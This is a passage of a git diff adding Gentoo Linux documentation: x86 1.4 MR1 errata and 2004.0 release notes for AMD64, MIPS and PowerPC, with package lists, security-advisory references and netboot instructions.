+Maintenance Release 1 LiveCDs have build dates of 20030911.</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Gentoo Linux 1.4 for x86 MR1 Errata</title>
+<section>
+
+<body>
+<p>This section contains information related to known issues in Gentoo Linux 1.4 for x86 MR1.</p>
+</body>
+</section>
+
+<section>
+<title>Installation documentation</title>
+<body>
+<p>If you browse the contents of Disc 1 using an already-running
+operating system, you will see <path>/install.html</path> and <path>/install.pdf</path> files in the
+root directory of the CD-ROM. These files contain up-to-date installation instructions for this release.
+The <path>install.pdf</path> documentation is readable in <b>Acrobat Reader</b> (<c>acroread</c> under
+Linux) or <c>xpdf</c>. It is also in a compact form that is well-suited for printing before you begin
+the installation process.</p>
+<p><e>However, if you boot
+Disc 1 (rather than browse its contents on an already-installed system,) these files can be found in
+<path>/mnt/cdrom</path> and can be viewed by typing <c>links /mnt/cdrom/install.html</c>.</e></p>
+</body>
+</section>
+
+<section>
+<title>libaspell.so.15 not found</title>
+<body>
+<p>If any application returns a <c>libaspell.so.15 not found</c> message, simply type <c>emerge -k aspell</c>
+as root to correct this situation. This will allow programs such as <c>gaim</c> to work properly. This problem
+was caused by a missing runtime dependency in the aspell eclass and is fixed in our "live" Portage tree.</p>
+</body>
+</section>
+
+<section>
+<title>openoffice-bin does not start</title>
+<body>
+<p>The <c>openoffice-bin</c> package in 1.4 for x86 MR1 does not function properly. We are currently looking
+into this issue and expect to have openoffice working properly for our next official release.</p>
+</body>
+</section>
+
+<section>
+<title>Evolution won't start</title>
+<body>
+<p>If evolution won't start due to it not being able to find the Evolution shell, type in the following
+command as root:</p>
+
+<pre># <c>bonobo-activation-sysconf --add-directory /usr/lib/bonobo/servers</c>
+</pre>
+
+<p>Then exit and restart X, and Evolution should start normally.</p>
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/amd64/amd64-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.0/amd64/amd64-release-notes.xml
new file mode 100644
index 00000000..042b8108
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/amd64/amd64-release-notes.xml
@@ -0,0 +1,38 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.0/amd64/amd64-release-notes.xml,v 1.2 2004/09/17 15:03:26 zhen Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="amd64-release-notes.xml">
+<title>Release Notes for Gentoo/AMD64 2004.0</title>
+
+<author title="Author">
+  <mail link="jhuebel@gentoo.org">Jason Huebel</mail>
+</author>
+
+<abstract>
+	Release notes for Gentoo/AMD64 2004.0
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>February 26, 2004</date>
+
+<chapter>
+	<title>Gentoo/AMD64 2004.0 Release</title>
+<section>
+	<title>Release Notes</title>
+<body>
+<p>
+Please refer to the <uri link="/proj/en/base/amd64/">Gentoo/AMD64 Installation Technotes</uri> 
+for release information.  A quick list of issues with this release is also available in the 
+<uri link="http://www.gentoo.org/proj/en/base/amd64/index.xml?part=2&amp;chap=5">Installation 
+Errata</uri>.
+</p>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/mips/mips-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.0/mips/mips-release-notes.xml
new file mode 100644
index 00000000..2592cadc
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/mips/mips-release-notes.xml
@@ -0,0 +1,137 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.0/mips/mips-release-notes.xml,v 1.2 2004/09/17 15:03:26 zhen Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="mips-release-notes.xml">
+<title>mips Release Notes for Gentoo Linux 2004.0</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="mips Release Manager">
+	<mail link="kumba@gentoo.org">Joshua Kinard</mail>
+</author>
+
+<abstract>
+Gentoo 2004.0 Release Notes
+</abstract>
+
+<license/>
+
+<version>2004.0</version>
+<date>20040229</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project commited to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since the last release up until 2004.0. </p>
+
+			<p>&#160;</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+			<ul>
+				<li>1. Overview</li>
+				<li>2. Important Changes</li>
+				<li>	2.1 Security Updates</li>
+				<li>	2.2 Errata</li>
+				<li>	2.3 Critical Package Updates</li>
+				<li>	2.4 Portage Updates</li>
+				<li>	2.5 Documentation Updates</li>
+				<li>3. Upgrading from previous versions of Gentoo Linux</li>
+			</ul>
+
+			<p>&#160;</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.0</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.0 contains security updates to address GLSAs (Gentoo Linux Security Advisories) 
+			numbered 200308-01 to 200402-07.</p>
+
+			<p>Individual GLSAs can be referenced by going to <c>http://www.gentoo.org/security/en/glsa/glsa-&lt;number&gt;.xml</c>, 
+			and substituting <c>&lt;number&gt;</c> with the desired GLSA number.</p>
+
+			<p>For more information, please consult the the <c>gentoo-security</c> mailing list archive.</p>
+
+			<p>&#160;</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc-3.3.2-r4</li>
+				<li>glibc-2.3.2-r3</li>
+				<li>mips-sources 2.4.21-r7, 2.4.22-r10, 2.4.23-r6</li>
+				<li>portage-2.0.50-r1</li>
+			</ul>
+
+			<p>&#160;</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.50-r1 and the 
+			<uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri> 
+			can be found via our online CVS repository.</p>
+
+			<p>&#160;</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.0 on deprecates all single arch installation manuals in favor of the Gentoo Linux 
+			Handbook. The Gentoo Linux Handbook offers the most up-to-date information on all aspects of the Gentoo 
+			Linux installation process.  However, the information in the handbook may become out of date with the 
+			original mips installation guide found <uri link="http://dev.gentoo.org/~kumba/mips/docs/gentoo-mips-install.html">here</uri>
+			and as such, users should consult both forms of documentation as necessary.</p>
+
+			<p>&#160;</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading from previous versions of Gentoo Linux</title>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.0</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented in the Gentoo Handbook.  Unlike other 
+			releasing architectures, the mips release is limited to a netboot for now.  LiveCDs for CD-ROM equipped 
+			SGI systems is under investigation, and may be available for the 2004.1, or the 2004.2 release.</p>
+
+			<p>Netboot images may be found on your nearest mirror in the <c>netboot</c> folder under 
+			<c>releases/mips/&lt;release&gt;</c> (where <c>&lt;release&gt;</c> is the most recent release).
+			Newer/experimental netboots may be found <uri link="http://dev.gentoo.org/~kumba/mips/netboot/">here</uri>.</p>
+
+			<p>Those using R4x00 based systems (R4000, R4400, R4600), select the netboot image starting with "ip22-r4k".  
+			Those with R5000 Indys, select the netboot image starting with "ip22-r5k".  These images are only for ip22 
+			based systems, which includes the Indigo2 and Indy.</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/ppc/ppc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.0/ppc/ppc-release-notes.xml
new file mode 100644
index 00000000..03fbbd0d
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/ppc/ppc-release-notes.xml
@@ -0,0 +1,697 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.0/ppc/ppc-release-notes.xml,v 1.2 2004/09/17 15:03:26 zhen Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ppc-release-notes.xml">
+<title>PowerPC Release Notes for Gentoo Linux 2004.0</title>
+
+<author title="Author">
+ <mail link="pvdabeel@gentoo.org">Pieter van den Abeele</mail>
+</author>
+
+<author title="Gentoo Release Coordinator">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="Gentoo PPC Release Manager">
+	<mail link="pvdabeel@gentoo.org">Pieter van den Abeele</mail>
+</author>
+
+<abstract>
+Gentoo PPC Release Notes
+</abstract>
+
+<license/>
+
+<version>2004.0</version>
+<date>20040225</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project commited to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since the last release up until 2004.0. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>    2.3 Machine compatibility</li>
+			<li>	2.4 Critical Package Updates</li>
+			<li>	2.5 Portage Updates</li>
+			<li>	2.6 Userland Updates</li>
+			<li>	2.7 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.0</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>
+				Gentoo Linux 2004.0 contains security updates to address GLSAs (Gentoo Linux Security Advisories) numbered 200308-01 to 200402-07.
+				Individual GLSAs are listed below:<br/>
+				
+				Individual GLSAs can be referenced by going to  http://www.gentoo.org/security/en/glsa/glsa-&lt;number&gt;.xml, and substituting &lt;number&gt;  
+				with the desired GLSA number.<br/>
+
+				For more information, please consult the the gentoo-security mailing list <uri link="http://news.gmane.org/gmane.linux.gentoo.security">archive</uri>.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<p>None reported yet.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Machine compatibility</title>
+		<body>
+		<p>
+		This 32bit release can be used on 32bit and 64bit machines with IBM or motorola PowerPC or POWER microprocessors, 
+		including but not limited to the machines built by Apple Computing. The prebuilt packages, stages and sources  
+		can be used in combination with either a 32bit or a 64bit kernel.</p>
+		<p>
+		The following is a list of machines which are not entirely compatible with our current cd boot configuration. 
+		Please note that when the boot configuration is adapted to the incompatible machine (by recompiling the livecd kernel), 
+		the prebuild packages (GRP), stages and sources provided by this release can be used without modification.</p>
+		<ul>
+		<li>Oldworld Apple systems may require a different bootloader (BootX). Please contact Gentoo/PPC developer
+		<mail link="trance@gentoo.org">Kevyn Shortell</mail> for help setting up this bootloader on your Mac.</li>
+		<li>In addition to the above, oldworld nubus systems also require a different kernel.</li>
+		</ul>
+	
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+		<p>Ebuilds used to realize the ppc 2004.0 system profile (stage1 - stage2 - stage3).</p>
+		<ul>
+			<li>app-arch/bzip2-1.0.2-r3 </li>
+			<li>app-arch/cpio-2.5 </li>
+			<li>app-arch/gzip-1.3.3-r2 </li>
+			<li>app-arch/ncompress-4.2.4 </li>
+			<li>app-arch/sharutils-4.2.1-r6 </li>
+			<li>app-arch/tar-1.13.25-r3 </li>
+			<li>app-editors/nano-1.2.2 </li>
+			<li>app-shells/bash-2.05b-r7 </li>
+			<li>app-shells/sash-3.6 </li>
+			<li>dev-lang/perl-5.8.2-r1 </li>
+			<li>dev-lang/python-2.3.3 </li>
+			<li>dev-libs/expat-1.95.6-r1 </li>
+			<li>dev-libs/glib-1.2.10-r5 </li>
+			<li>dev-libs/openssl-0.9.7c-r1 </li>
+			<li>dev-libs/popt-1.7-r1 </li>
+			<li>dev-perl/ExtUtils-MakeMaker-6.21 </li>
+			<li>dev-python/python-fchksum-1.6.1-r1 </li>
+			<li>dev-util/ccache-2.2 </li>
+			<li>net-ftp/ftp-0.17-r3 </li>
+			<li>net-misc/dhcpcd-1.3.22_p4-r2 </li>
+			<li>net-misc/iputils-021109 </li>
+			<li>net-misc/openssh-3.7.1_p2-r1 </li>
+			<li>net-misc/rsync-2.6.0 </li>
+			<li>net-misc/wget-1.9-r2 </li>
+			<li>sys-apps/acl-2.2.13-r1 </li>
+			<li>sys-apps/attr-2.4.7-r1 </li>
+			<li>sys-apps/baselayout-1.8.6.13 </li>
+			<li>sys-apps/coreutils-5.0.91-r2 </li>
+			<li>sys-apps/cronbase-0.2.1-r2 </li>
+			<li>sys-apps/debianutils-1.16.7-r4 </li>
+			<li>sys-apps/diffutils-2.8.4-r3 </li>
+			<li>sys-apps/ed-0.2-r3 </li>
+			<li>sys-apps/eject-2.0.12-r1 </li>
+			<li>sys-apps/fbset-2.1 </li>
+			<li>sys-apps/file-4.02 </li>
+			<li>sys-apps/findutils-4.1.20-r1 </li>
+			<li>sys-apps/gawk-3.1.2-r3 </li>
+			<li>sys-apps/grep-2.5.1-r1 </li>
+			<li>sys-apps/groff-1.18.1-r4 </li>
+			<li>sys-apps/hdparm-5.4 </li>
+			<li>sys-apps/help2man-1.29 </li>
+			<li>sys-apps/kbd-1.08-r5 </li>
+			<li>sys-apps/less-381 </li>
+			<li>sys-apps/mac-fdisk-0.1 </li>
+			<li>sys-apps/man-1.5l-r6 </li>
+			<li>sys-apps/man-pages-1.65 </li>
+			<li>sys-apps/miscfiles-1.3 </li>
+			<li>sys-apps/modutils-2.4.25 </li>
+			<li>sys-apps/net-tools-1.60-r7 </li>
+			<li>sys-apps/pam-login-3.14 </li>
+			<li>sys-apps/portage-2.0.50-r1 </li>
+			<li>sys-apps/powerpc-utils-1.1.3-r7 </li>
+			<li>sys-apps/procps-3.1.15 </li>
+			<li>sys-apps/psmisc-21.2-r4 </li>
+			<li>sys-apps/sed-4.0.7 </li>
+			<li>sys-apps/setserial-2.17-r2 </li>
+			<li>sys-apps/shadow-4.0.3-r9 </li>
+			<li>sys-apps/slocate-2.7-r2 </li>
+			<li>sys-apps/tcp-wrappers-7.6-r6 </li>
+			<li>sys-apps/texinfo-4.6 </li>
+			<li>sys-apps/util-linux-2.12-r3 </li>
+			<li>sys-apps/which-2.14 </li>
+			<li>sys-apps/xinetd-2.3.11 </li>
+			<li>sys-boot/yaboot-1.3.11 </li>
+			<li>sys-devel/autoconf-2.58-r1 </li>
+			<li>sys-devel/automake-1.7.8 </li>
+			<li>sys-devel/bc-1.06-r5 </li>
+			<li>sys-devel/binutils-2.14.90.0.6-r6 </li>
+			<li>sys-devel/bison-1.35 </li>
+			<li>sys-devel/flex-2.5.4a-r5 </li>
+			<li>sys-devel/gcc-3.2.3-r4 </li>
+			<li>sys-devel/gettext-0.12.1 </li>
+			<li>sys-devel/gnuconfig-20030708 </li>
+			<li>sys-devel/libtool-1.4.3-r3 </li>
+			<li>sys-devel/m4-1.4-r1 </li>
+			<li>sys-devel/make-3.80 </li>
+			<li>sys-devel/patch-2.5.9 </li>
+			<li>sys-fs/devfsd-1.3.25-r3 </li>
+			<li>sys-fs/e2fsprogs-1.34-r1 </li>
+			<li>sys-fs/hfsplusutils-1.0.4-r1 </li>
+			<li>sys-fs/hfsutils-3.2.6-r3 </li>
+			<li>sys-libs/cracklib-2.7-r8 </li>
+			<li>sys-libs/db-1.85-r1 </li>
+			<li>sys-libs/db-4.1.25_p1-r3 </li>
+			<li>sys-libs/gdbm-1.8.0-r5 </li>
+			<li>sys-libs/glibc-2.3.2-r9 </li>
+			<li>sys-libs/ncurses-5.3-r5 </li>
+			<li>sys-libs/ncurses-5.3-r5 </li>
+			<li>sys-libs/pam-0.77 </li>
+			<li>sys-libs/pwdb-0.62 </li>
+			<li>sys-libs/readline-4.3-r4 </li>
+			<li>sys-libs/zlib-1.1.4-r3 </li>
+		</ul>
+
+		<p>Sources for the following kernels are provided on CD 1:</p>
+		
+		<ul>
+			<li>ppc-development-sources-2.6.3-r2</li>
+			<li>ppc-sources-2.4.24-r2</li>
+		</ul>
+
+		<p>Bootloader:</p>
+		<ul>
+			<li>yaboot-1.3.11 - G3, G4, G5 compatible</li>
+		</ul>
+		
+		<p>GRP packages:</p>
+
+		<ul>
+
+<li>app-admin/addpatches-0.2</li><li>
+app-admin/chkrootkit-0.37 </li><li>
+app-admin/fam-2.7.0 </li><li>
+app-admin/logrotate-3.6.5-r1</li><li>
+app-admin/metalog-0.7-r1</li><li>
+app-admin/passook-1.0.0</li><li>
+app-admin/superadduser-1.0.5</li><li>
+app-admin/sysklogd-1.4.1-r10</li><li>
+app-admin/syslog-ng-1.6.0_rc3-r1</li><li>
+app-arch/bzip2-1.0.2-r3</li><li>
+app-arch/cabextract-0.6</li><li>
+app-arch/cpio-2.5</li><li>
+app-arch/file-roller-2.4.4-r2 </li><li>
+app-arch/gzip-1.3.3-r2</li><li>
+app-arch/ncompress-4.2.4</li><li>
+app-arch/rpm2targz-9.0-r2</li><li>
+app-arch/sharutils-4.2.1-r6</li><li>
+app-arch/tar-1.13.25-r3</li><li>
+app-arch/unzip-5.50-r2</li><li>
+app-arch/zip-2.3-r2 </li><li>
+app-cdr/cdrdao-1.1.7-r3 </li><li>
+app-cdr/cdrtools-2.01_alpha25 </li><li>
+app-cdr/xcdroast-0.98_alpha15-r3</li><li>
+app-crypt/gnupg-1.2.3-r5</li><li>
+app-doc/kdelibs-apidocs-3.1.4</li><li>
+app-doc/qt-docs-3.1.2</li><li>
+app-editors/gedit-2.4.1</li><li>
+app-editors/joe-2.9.8_pre1</li><li>
+app-editors/nano-1.2.2</li><li>
+app-editors/vim-6.2-r3</li><li>
+app-editors/vim-core-6.2-r4</li><li>
+app-misc/screen-4.0.1-r2</li><li>
+app-office/abiword-2.0.1 </li><li>
+app-office/koffice-1.2.1</li><li>
+app-office/openoffice-bin-1.0.2</li><li>
+app-portage/genflags-0.96 </li><li>
+app-portage/gentoolkit-0.2.0_pre6 </li><li>
+app-portage/mirrorselect-0.82-r3</li><li>
+app-portage/ufed-0.34</li><li>
+app-shells/bash-2.05b-r7</li><li>
+app-shells/sash-3.6</li><li>
+app-text/a2ps-4.13b-r5</li><li>
+app-text/dgs-0.5.10-r1</li><li>
+app-text/docbook-dsssl-stylesheets-1.77-r2 </li><li>
+app-text/docbook-sgml-dtd-3.0-r1 </li><li>
+app-text/docbook-sgml-dtd-3.1-r1 </li><li>
+app-text/docbook-sgml-dtd-4.0-r1 </li><li>
+app-text/docbook-sgml-dtd-4.1-r1 </li><li>
+app-text/docbook-sgml-utils-0.6.12 </li><li>
+app-text/docbook-xml-dtd-4.1.2-r4 </li><li>
+app-text/docbook-xml-dtd-4.2 </li><li>
+app-text/docbook-xml-simple-dtd-4.1.2.4 </li><li>
+app-text/docbook-xsl-stylesheets-1.62.4 </li><li>
+app-text/enscript-1.6.3-r1</li><li>
+app-text/ggv-2.4.1 </li><li>
+app-text/ghostscript-7.07.1-r1 </li><li>
+app-text/gpdf-0.112 </li><li>
+app-text/jadetex-3.12</li><li>
+app-text/openjade-1.3.1-r6 </li><li>
+app-text/psutils-1.17</li><li>
+app-text/scrollkeeper-0.3.14 </li><li>
+app-text/sgml-common-0.6.3-r4 </li><li>
+app-text/sgmltools-lite-3.0.3-r6</li><li>
+app-text/tetex-2.0.2-r1</li><li>
+app-text/wv-1.0.0 </li><li>
+app-text/xpdf-2.02.1</li><li>
+dev-cpp/gnomemm-1.2.3-r1 </li><li>
+dev-cpp/gtkmm-1.2.9-r2 </li><li>
+dev-java/blackdown-jdk-1.3.1-r10</li><li>
+dev-java/java-config-1.2.6</li><li>
+dev-lang/perl-5.8.2-r1</li><li>
+dev-lang/python-2.3.3</li><li>
+dev-lang/ruby-1.6.8-r3 </li><li>
+dev-lang/tcl-8.3.4 </li><li>
+dev-lang/tk-8.3.4-r1 </li><li>
+dev-libs/DirectFB-0.9.20 </li><li>
+dev-libs/atk-1.4.1 </li><li>
+dev-libs/dbh-1.0.15</li><li>
+dev-libs/expat-1.95.6-r1</li><li>
+dev-libs/fribidi-0.10.4 </li><li>
+dev-libs/glib-1.2.10-r5</li><li>
+dev-libs/glib-2.2.3 </li><li>
+dev-libs/libIDL-0.8.2 </li><li>
+dev-libs/libol-0.3.9</li><li>
+dev-libs/libpcre-3.9-r1</li><li>
+dev-libs/libsigc++-1.0.4-r2 </li><li>
+dev-libs/libunicode-0.4-r1 </li><li>
+dev-libs/libxml-1.8.17-r2 </li><li>
+dev-libs/libxml2-2.6.4 </li><li>
+dev-libs/libxslt-1.1.2 </li><li>
+dev-libs/lzo-1.08</li><li>
+dev-libs/nspr-4.4.1 </li><li>
+dev-libs/nss-3.8 </li><li>
+dev-libs/openssl-0.9.7c-r1</li><li>
+dev-libs/popt-1.7-r1</li><li>
+dev-libs/ucl-1.01-r1</li><li>
+dev-perl/Audio-Tools-0.01 </li><li>
+dev-perl/Audio-Wav-0.02 </li><li>
+dev-perl/ExtUtils-F77-1.14-r1 </li><li>
+dev-perl/ExtUtils-MakeMaker-6.21</li><li>
+dev-perl/MP3-Info-1.01-r2 </li><li>
+dev-perl/PDL-2.3.2-r2 </li><li>
+dev-perl/Parse-RecDescent-1.80-r3 </li><li>
+dev-perl/SGMLSpm-1.03-r4 </li><li>
+dev-perl/TermReadKey-2.21</li><li>
+dev-perl/XML-Parser-2.31-r1 </li><li>
+dev-perl/XML-Writer-0.4-r2 </li><li>
+dev-perl/gtk-perl-0.7008-r10 </li><li>
+dev-python/PyOpenGL-2.0.0.44 </li><li>
+dev-python/pygtk-2.0.0-r1 </li><li>
+dev-python/python-fchksum-1.6.1-r1</li><li>
+dev-python/pyxml-0.8.1 </li><li>
+dev-util/ccache-2.2</li><li>
+dev-util/ccache-2.2</li><li>
+dev-util/ccache-2.2</li><li>
+dev-util/cscope-15.3</li><li>
+dev-util/ctags-5.2.3</li><li>
+dev-util/cvs-1.11.11 </li><li>
+dev-util/dialog-0.9_beta20030308-r1 </li><li>
+dev-util/indent-2.2.9 </li><li>
+dev-util/intltool-0.29 </li><li>
+dev-util/kdbg-1.2.5.3</li><li>
+dev-util/kdevelop-2.1.5</li><li>
+dev-util/kdoc-2.0_alpha54</li><li>
+dev-util/pkgconfig-0.15.0</li><li>
+dev-util/yacc-1.9.1-r1 </li><li>
+devv-util/ccache-2.2</li><li>
+gnome-base/ORBit-0.5.17 </li><li>
+gnome-base/ORBit2-2.8.3 </li><li>
+gnome-base/control-center-2.4.0</li><li>
+gnome-base/eel-2.4.2 </li><li>
+gnome-base/gail-1.4.1 </li><li>
+gnome-base/gconf-1.0.8-r3 </li><li>
+gnome-base/gconf-2.4.0.1 </li><li>
+gnome-base/gdm-2.4.1.7-r1</li><li>
+gnome-base/gnome-2.4.2</li><li>
+gnome-base/gnome-applets-2.4.2 </li><li>
+gnome-base/gnome-desktop-2.4.1.1 </li><li>
+gnome-base/gnome-libs-1.4.1.7 </li><li>
+gnome-base/gnome-mime-data-2.4.1 </li><li>
+gnome-base/gnome-panel-2.4.2 </li><li>
+gnome-base/gnome-print-0.35-r3 </li><li>
+gnome-base/gnome-session-2.4.2</li><li>
+gnome-base/gnome-vfs-1.0.5-r3 </li><li>
+gnome-base/gnome-vfs-2.4.2-r1 </li><li>
+gnome-base/libbonobo-2.4.3 </li><li>
+gnome-base/libbonoboui-2.4.3 </li><li>
+gnome-base/libglade-0.17-r6 </li><li>
+gnome-base/libglade-2.0.1 </li><li>
+gnome-base/libgnome-2.4.0 </li><li>
+gnome-base/libgnomecanvas-2.4.0 </li><li>
+gnome-base/libgnomeprint-2.4.2 </li><li>
+gnome-base/libgnomeprintui-2.4.2 </li><li>
+gnome-base/libgnomeui-2.4.0.1 </li><li>
+gnome-base/libgtop-2.0.8 </li><li>
+gnome-base/librsvg-2.4.0-r1 </li><li>
+gnome-base/nautilus-2.4.2 </li><li>
+gnome-extra/acme-2.4.2-r1</li><li>
+gnome-extra/bug-buddy-2.4.2</li><li>
+gnome-extra/gal-0.24 </li><li>
+gnome-extra/gal-1.99.10 </li><li>
+gnome-extra/gcalctool-4.3.16</li><li>
+gnome-extra/gconf-editor-2.4.0</li><li>
+gnome-extra/gnome-games-2.4.2</li><li>
+gnome-extra/gnome-media-2.4.1.1 </li><li>
+gnome-extra/gnome-system-monitor-2.4.0</li><li>
+gnome-extra/gnome-utils-2.4.1 </li><li>
+gnome-extra/gnome2-user-docs-2.4.1 </li><li>
+gnome-extra/gucharmap-1.2.0</li><li>
+gnome-extra/libgtkhtml-2.4.0 </li><li>
+gnome-extra/libgtkhtml-3.0.9 </li><li>
+gnome-extra/nautilus-media-0.3.3.1</li><li>
+gnome-extra/yelp-2.4.2 </li><li>
+gnome-extra/zenity-1.8</li><li>
+kde-base/arts-1.2.0</li><li>
+kde-base/kde-3.2.0</li><li>
+kde-base/kdeaccessibility-3.2.0</li><li>
+kde-base/kdeaddons-3.2.0</li><li>
+kde-base/kdeadmin-3.2.0</li><li>
+kde-base/kdeartwork-3.2.0</li><li>
+kde-base/kdebase-3.2.0</li><li>
+kde-base/kdeedu-3.2.0</li><li>
+kde-base/kdegames-3.2.0</li><li>
+kde-base/kdegraphics-3.2.0</li><li>
+kde-base/kdelibs-3.2.0</li><li>
+kde-base/kdemultimedia-3.2.0</li><li>
+kde-base/kdenetwork-3.2.0</li><li>
+kde-base/kdepim-3.2.0-r2</li><li>
+kde-base/kdetoys-3.2.0</li><li>
+kde-base/kdeutils-3.2.0</li><li>
+media-gfx/eog-2.4.1</li><li>
+media-gfx/gimp-1.2.5 </li><li>
+media-gfx/imagemagick-5.5.7.15</li><li>
+media-libs/audiofile-0.2.5 </li><li>
+media-libs/flac-1.1.0</li><li>
+media-libs/fontconfig-2.2.1</li><li>
+media-libs/freetype-2.1.4-r1</li><li>
+media-libs/gdk-pixbuf-0.20.0 </li><li>
+media-libs/giflib-4.1.0-r3 </li><li>
+media-libs/glut-3.7-r2 </li><li>
+media-libs/gst-plugins-0.6.4 </li><li>
+media-libs/gstreamer-0.6.4 </li><li>
+media-libs/id3lib-3.8.3-r1</li><li>
+media-libs/imlib-1.9.14-r1 </li><li>
+media-libs/jpeg-6b-r3</li><li>
+media-libs/lcms-1.11</li><li>
+media-libs/libao-0.8.3-r1 </li><li>
+media-libs/libart_lgpl-2.3.16 </li><li>
+media-libs/libdvdcss-1.2.8</li><li>
+media-libs/libexif-0.5.12-r1</li><li>
+media-libs/libfame-0.9.0</li><li>
+media-libs/libmng-1.0.4</li><li>
+media-libs/libogg-1.0 </li><li>
+media-libs/libpng-1.2.5-r4</li><li>
+media-libs/libsdl-1.2.6-r3</li><li>
+media-libs/libvorbis-1.0-r2 </li><li>
+media-libs/libwmf-0.2.8.2 </li><li>
+media-libs/musicbrainz-2.0.2-r1</li><li>
+media-libs/t1lib-1.3.1</li><li>
+media-libs/taglib-1.0_beta2</li><li>
+media-libs/tiff-3.5.7-r1 </li><li>
+media-libs/xine-lib-1_rc3-r1</li><li>
+media-libs/xvid-0.9.1</li><li>
+media-plugins/gst-plugins-gnomevfs-0.6.4</li><li>
+media-plugins/gst-plugins-libpng-0.6.4</li><li>
+media-plugins/gst-plugins-oss-0.6.4 </li><li>
+media-plugins/gst-plugins-vorbis-0.6.4 </li><li>
+media-sound/cdparanoia-3.9.8</li><li>
+media-sound/esound-0.2.32 </li><li>
+media-sound/mpg123-0.59s-r2</li><li>
+media-sound/vorbis-tools-1.0-r2 </li><li>
+media-sound/xmms-1.2.8-r4</li><li>
+media-video/xanim-2.80.1-r4</li><li>
+net-analyzer/ettercap-0.6.11 </li><li>
+net-analyzer/netcat-110-r4</li><li>
+net-analyzer/netselect-0.3</li><li>
+net-analyzer/nmap-3.48</li><li>
+net-analyzer/tcpdump-3.8.1</li><li>
+net-dialup/kpnadsl4linux-1.10-r1</li><li>
+net-dialup/ppp-2.4.1-r14</li><li>
+net-dialup/pppconfig-2.0.8</li><li>
+net-dialup/pppoed-0.48_beta1-r1</li><li>
+net-dialup/pptpclient-1.1.0</li><li>
+net-dialup/rp-pppoe-3.5</li><li>
+net-firewall/iptables-1.2.7a-r3</li><li>
+net-fs/nfs-utils-1.0.5-r1</li><li>
+net-fs/samba-3.0.1-r1</li><li>
+net-ftp/curl-7.10.5-r1 </li><li>
+net-ftp/ftp-0.17-r3</li><li>
+net-im/gabber-0.8.8 </li><li>
+net-im/gaim-0.75-r8 </li><li>
+net-im/gaim-encryption-2.21 </li><li>
+net-irc/irssi-0.8.6-r6</li><li>
+net-irc/xchat-2.0.1</li><li>
+net-libs/libpcap-0.7.2-r1</li><li>
+net-libs/libsoup-1.99.26-r1 </li><li>
+net-libs/libwww-5.4.0-r2</li><li>
+net-mail/evolution-1.4.5 </li><li>
+net-mail/mailbase-0.00-r5</li><li>
+net-mail/ssmtp-2.48</li><li>
+net-misc/dante-1.1.14-r2 </li><li>
+net-misc/dhcpcd-1.3.22_p4-r2</li><li>
+net-misc/host-991529</li><li>
+net-misc/iputils-021109</li><li>
